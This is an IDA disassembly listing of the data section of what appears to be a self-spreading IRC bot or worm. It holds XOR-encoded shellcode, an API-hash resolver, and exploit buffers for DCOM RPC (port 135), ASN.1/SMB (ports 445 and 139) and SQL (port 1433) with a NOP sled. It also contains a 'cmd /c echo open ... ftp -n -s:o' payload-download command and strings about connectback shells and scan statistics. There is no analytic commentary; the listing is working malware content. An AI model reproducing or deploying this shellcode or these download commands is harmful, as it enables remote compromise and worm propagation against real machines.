dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
; ---------------------------------------------------------------------------
and bl, bl
inc ebx
add [eax], ch
loc_43EDED: ; CODE XREF: .data:0043EE10j
fild dword ptr [ebx+0]
xor al, 0DBh
inc ebx
add [eax], bh
fild dword ptr [ebx+0]
inc eax
fild dword ptr [ebx+0]
dec eax
fild dword ptr [ebx+0]
pop eax
fild dword ptr [ebx+0]
pusha
fild dword ptr [ebx+0]
push 700043DBh
fild dword ptr [ebx+0]
js short loc_43EDED
inc ebx
add [eax-77FFBC25h], al
fild dword ptr [ebx+0]
nop
fild dword ptr [ebx+0]
cwde
fild dword ptr [ebx+0]
mov al, ds:0A80043DBh
fild dword ptr [ebx+0]
mov al, 0DBh
inc ebx
add [eax-43FFBC25h], bh
fild dword ptr [ebx+0]
enter 43DBh, 0
int 3 ; Trap to Debugger
fild dword ptr [ebx+0]
aam 0DBh
inc ebx
add ah, bl
fild dword ptr [ebx+0]
; ---------------------------------------------------------------------------
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
dword_43EE64 dd 7325h dword_43EE68 dd 69257325h, 0 dword_43EE70 dd 7325h dword_43EE74 dd 69257325h, 0 dword_43EE7C dd 4350h dword_43EE80 dd 4350h dword_43EE84 dd 4350h dword_43EE88 dd 69257325h, 0 dword_43EE90 dd 7C7325h dword_43EE94 dd 69257325h, 0 dword_43EE9C dd 3539h dword_43EEA0 dd 544Eh dword_43EEA4 dd 3839h dword_43EEA8 dd 454Dh dword_43EEAC dd 4B32h dword_43EEB0 dd 5058h dword_43EEB4 dd 334B32h dword_43EEB8 dd 3F3F3Fh dword_43EEBC dd 5D73255Bh, 7Chdword_43EEC4 dd 69257325h, 0 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_4092B9+1Fo
align 4
aM_0 db '[M]',0 ; DATA XREF: sub_4092B9+2Co
aDS db '[%d]%s',0 ; DATA XREF: sub_4092B9+3Ao
align 10h
aMirc_1 db 'mIRC',0 ; DATA XREF: sub_4092B9:loc_409308o
align 4
aM_1 db '[M]',0 ; DATA XREF: sub_4092B9+5Co
align 10h
loc_43EEF0: ; DATA XREF: sub_409562+BEo
jmp short loc_43EEF4
; ---------------------------------------------------------------------------
loc_43EEF2: ; CODE XREF: .data:loc_43EEF4p
jmp short loc_43EEF9
; ---------------------------------------------------------------------------
loc_43EEF4: ; CODE XREF: .data:loc_43EEF0j
call loc_43EEF2
loc_43EEF9: ; CODE XREF: .data:loc_43EEF2j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_43EEFE dw 0FFFFh ; DATA XREF: sub_409562+C6w
db 80h, 73h, 0Eh
byte_43EF03 db 0FFh ; DATA XREF: sub_409562+CDw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_43EF08: ; DATA XREF: sub_409562+9Co
jmp short loc_43EF0C
; ---------------------------------------------------------------------------
loc_43EF0A: ; CODE XREF: .data:loc_43EF0Cp
jmp short loc_43EF11
; ---------------------------------------------------------------------------
loc_43EF0C: ; CODE XREF: .data:loc_43EF08j
call loc_43EF0A
loc_43EF11: ; CODE XREF: .data:loc_43EF0Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_43EF15 db 0FFh ; DATA XREF: sub_409562+A4w
dw 7380h
db 0Ch
byte_43EF19 db 0FFh ; DATA XREF: sub_409562+AAw
dw 0E243h
dd 0F9h
dword_43EF20 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_4093EB+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43EF84 dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_4093EB+79o
aJ_0 db 'j',0
db 0E8h
dword_43EF9D dd 17h ; ---------------------------------------------------------------------------
jnz short near ptr byte_43EFA4
retn
; ---------------------------------------------------------------------------
byte_43EFA4 db 0E8h ; CODE XREF: .data:0043EFA1j
dword_43EFA5 dd 1 byte_43EFA9 db 0, 6Ah, 0 ; DATA XREF: sub_4093EB+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43EFB3 dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; CloseHandle
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dword_43EFE4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
; DATA XREF: sub_409720+10o
dword_43EFF8 dd 202E6425h, 7325haSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4098EB+35o
align 4
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_4098EB+51o
align 10h
aDcom2135 db 'dcom2-135',0 ; DATA XREF: sub_409DF2+4Fo
; sub_40A84F+155o
aDcom2135_0 db 'Dcom2-135',0 ; DATA XREF: sub_409D2C+30o
; sub_40C16C+243o ...
dd 5 dup(0)
dword_43F068 dd 87h ; sub_401C87+19B1o ...
off_43F06C dd offset sub_40C16C ; DATA XREF: sub_40A84F+1D7r
dword_43F070 dd 0 ; .data:0040BB89r ...
dword_43F074 dd 1 dword_43F078 dd 0 dword_43F07C dd 0 dd 6D6F6364h, 34342D32h, 63440035h, 2D326D6Fh, 353434h
dd 5 dup(0)
dd 1BDh, 40C16Ch, 0
dd 1, 2 dup(0)
dd 2D6C7173h, 33333431h, 71730000h, 34312D6Ch, 3333h, 5 dup(0)
dd 599h, 40C414h, 0
dd 1, 2 dup(0)
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40B9EBh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40B9EBh, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
dd 2D6C7173h, 33333431h
db 2 dup(0)
byte_43F1CA db 1 ; DATA XREF: sub_401C87:loc_403588r
; sub_401C87+190Bo
aAsn445_0 db 'asn445',0
align 4
dd 63640100h, 2D326D6Fh, 353434h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_43F202
; =============== S U B R O U T I N E =======================================
sub_43F1F2 proc near ; CODE XREF: sub_43F1F2:loc_43F202p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_43F1FA: ; CODE XREF: sub_43F1F2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_43F1FA
jmp short loc_43F207
; ---------------------------------------------------------------------------
loc_43F202: ; CODE XREF: .data:0043F1F0j
call sub_43F1F2
loc_43F207: ; CODE XREF: sub_43F1F2+Ej
jo short near ptr dword_43F184+1Eh
cwde
cdq
cdq
retn
sub_43F1F2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_43F370 db 2Dh ; - ; DATA XREF: sub_409B9F+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
dword_43F390 dd 25370320h, 203A0373h, 2C6425haTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_409B9F+85o
align 10h
unk_43F3B0 db 2Dh ; - ; DATA XREF: sub_409C6D+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_43F3F8 db 2Dh ; - ; DATA XREF: sub_409CD8+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
dword_43F424 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_409D2C+14o
dd 7473694Ch, 3Ah
dword_43F440 dd 25370320h, 28200373h, 73253403h, 2C2903haScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_409D2C+7Eo
unk_43F460 db 2Dh ; - ; DATA XREF: sub_409DF2+80o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 10h
unk_43F490 db 2Dh ; - ; DATA XREF: sub_409DF2+16Fo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_43F4C4 db 2Dh ; - ; DATA XREF: sub_409FA4+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_43F4E0 db 2Dh ; - ; DATA XREF: sub_409FA4+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
unk_43F500 db 2Dh ; - ; DATA XREF: sub_40A01B+D7o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_43F534 db 2Dh ; - ; DATA XREF: sub_40A01B+137o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_19 db ' Failed to start server, error: <%d>.',0
align 4
unk_43F568 db 2Dh ; - ; DATA XREF: sub_40A01B+1FFo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_2 db 'Server started on Port: %d, File: %s.',0
align 4
unk_43F59C db 2Dh ; - ; DATA XREF: sub_40A01B+25Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_20 db 'Failed to start server, error: <%d>.',0
align 10h
unk_43F5D0 db 2Dh ; - ; DATA XREF: sub_40A01B+326o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_3 db '- Server started on Port: %d.',0
align 10h
unk_43F600 db 2Dh ; - ; DATA XREF: sub_40A01B+386o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_21 db '- Failed to start server, error: <%d>.',0
unk_43F638 db 2Dh ; - ; DATA XREF: sub_40A01B+440o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_43F674 db 2Dh ; - ; DATA XREF: sub_40A01B+4C5o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_22 db ' Failed to start server, error: <%d>.',0
align 4
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A547+38o
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .data:0040A775o
align 4
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .data:0040A7ACo
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .data:0040A819o
align 10h
aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .data:loc_40A829o
align 4
aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .data:loc_40A83Do
align 4
unk_43F72C db 2Dh ; - ; DATA XREF: sub_40A84F+84o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43F764 db 2Dh ; - ; DATA XREF: sub_40A84F+DCo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_43F78C db 2Dh ; - ; DATA XREF: sub_40AA63+87o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 10h
unk_43F7C0 db 2Dh ; - ; DATA XREF: sub_40AA63+103o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43F7F4 db 2Dh ; - ; DATA XREF: sub_40AA63+168o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_43F82C db 2Dh ; - ; DATA XREF: sub_40AA63+1E0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_43F86C db 2Dh ; - ; DATA XREF: sub_40ACBA+92o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 4
unk_43F894 db 2Dh ; - ; DATA XREF: sub_40AD87+41o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
unk_43F8BC db 2Dh ; - ; DATA XREF: sub_40AE78+41o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
unk_43F8E8 db 2Dh ; - ; DATA XREF: sub_40AE78+D1o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 8
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40B21F+B2o
align 4
dword_43F924 dd 10FF8h, 0 dword_43F92C dd 10FF8h dword_43F930 dd 7FFDF020h, 0 dword_43F938 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43F9C0 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_43F9F0 dd 0 dd 800000D4h, 2 dup(0)
unk_43FA00 db 81h ; ; DATA XREF: sub_40B718+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_43FA50 db 41h ; DATA XREF: sub_40B7B6+FFr
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 8
; =============== S U B R O U T I N E =======================================
sub_43FA98 proc near ; DATA XREF: .data:0040BA6Do
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_43FB94
push dword ptr [esi]
push 63D61209h
call sub_43FBAA
mov [esi+8], eax
call sub_43FB5D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_43FBAA
mov [esi+0Ch], eax
call sub_43FB0F
push dword ptr [esi+4]
push 4C0297FAh
call sub_43FBAA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_43FA98 endp
; =============== S U B R O U T I N E =======================================
sub_43FB0F proc near ; CODE XREF: sub_43FA98+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_43FB38
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_43FB0F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43FB38 proc near ; CODE XREF: sub_43FB0F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_43FB47: ; CODE XREF: sub_43FB38+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_43FB54
inc ebx
jmp short loc_43FB47
; ---------------------------------------------------------------------------
loc_43FB54: ; CODE XREF: sub_43FB38+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_43FB38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43FB5D proc near ; CODE XREF: sub_43FA98+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_43FB75: ; CODE XREF: sub_43FB5D+1Ej
cmp [ecx], ebx
jz short loc_43FB7D
mov ecx, [ecx]
jmp short loc_43FB75
; ---------------------------------------------------------------------------
loc_43FB7D: ; CODE XREF: sub_43FB5D+1Aj
mov edx, edi
loc_43FB7F: ; CODE XREF: sub_43FB5D+2Aj
cmp [edx+4], ebx
jz short loc_43FB89
mov edx, [edx+4]
jmp short loc_43FB7F
; ---------------------------------------------------------------------------
loc_43FB89: ; CODE XREF: sub_43FB5D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43FB5D endp
; =============== S U B R O U T I N E =======================================
sub_43FB94 proc near ; CODE XREF: sub_43FA98+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_43FB94 endp
; =============== S U B R O U T I N E =======================================
sub_43FBAA proc near ; CODE XREF: sub_43FA98+16p
; sub_43FA98+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_43FBC0: ; CODE XREF: sub_43FBAA+33j
jecxz short loc_43FBFA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_43FBCD: ; CODE XREF: sub_43FBAA+2Dj
lodsb
cmp al, ah
jz short loc_43FBD9
ror edi, 0Dh
add edi, eax
jmp short loc_43FBCD
; ---------------------------------------------------------------------------
loc_43FBD9: ; CODE XREF: sub_43FBAA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_43FBC0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_43FBFA: ; CODE XREF: sub_43FBAA:loc_43FBC0j
; sub_43FBAA:loc_43FBFAj
jmp short loc_43FBFA
sub_43FBAA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_43FC00 proc near ; DATA XREF: .data:0040BA1Bo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_43FC52
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_43FC1D: ; CODE XREF: sub_43FC00+38j
jecxz short loc_43FC4D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_43FC28: ; CODE XREF: sub_43FC00+32j
lodsb
test al, al
jz short loc_43FC34
ror edx, 0Dh
add edx, eax
jmp short loc_43FC28
; ---------------------------------------------------------------------------
loc_43FC34: ; CODE XREF: sub_43FC00+2Bj
cmp edx, [esp+arg_0]
jnz short loc_43FC1D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_43FC4D: ; CODE XREF: sub_43FC00:loc_43FC1Dj
mov [esp+arg_0], ebx
retn
sub_43FC00 endp
; =============== S U B R O U T I N E =======================================
sub_43FC52 proc near ; CODE XREF: sub_43FC00+7p
; FUNCTION CHUNK AT 0043FC8A SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43FC6B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_43FC76
; ---------------------------------------------------------------------------
loc_43FC6B: ; CODE XREF: sub_43FC52+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_43FC76: ; CODE XREF: sub_43FC52+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43FC8A
sub_43FC52 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43FC7D proc near ; CODE XREF: sub_43FC52:loc_43FC8Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43FC7D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_43FC52
loc_43FC8A: ; CODE XREF: sub_43FC52+29j
call sub_43FC7D
loc_43FC8F: ; DATA XREF: sub_40B1C4+1Bo
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_43FC52
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_43FC94: ; DATA XREF: sub_40B21F+E8o
jmp short near ptr dword_43FC9C
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_43FC9C dd 0 aCccc db 'CCCC',0 ; DATA XREF: sub_40B21F+153o
align 4
dword_43FCA8 dd 3 byte_43FCAC db 0A1h, 0 ; DATA XREF: sub_40B21F+29Fo
word_43FCAE dw 30h ; DATA XREF: sub_40B21F+2CAo
dword_43FCB0 dd 62B0606h, 2050501haA_1: ; DATA XREF: sub_40B21F+320o
unicode 0, < `>,0
align 10h
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .data:0040BA42o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 8
aS_13: ; DATA XREF: sub_40C16C+ACo
unicode 0, <è>,0
dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h
dd 5EE7572h, 8, 9090E0FFh, 3Fh dup(90909090h), 9090h, 0
dword_43FE50 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
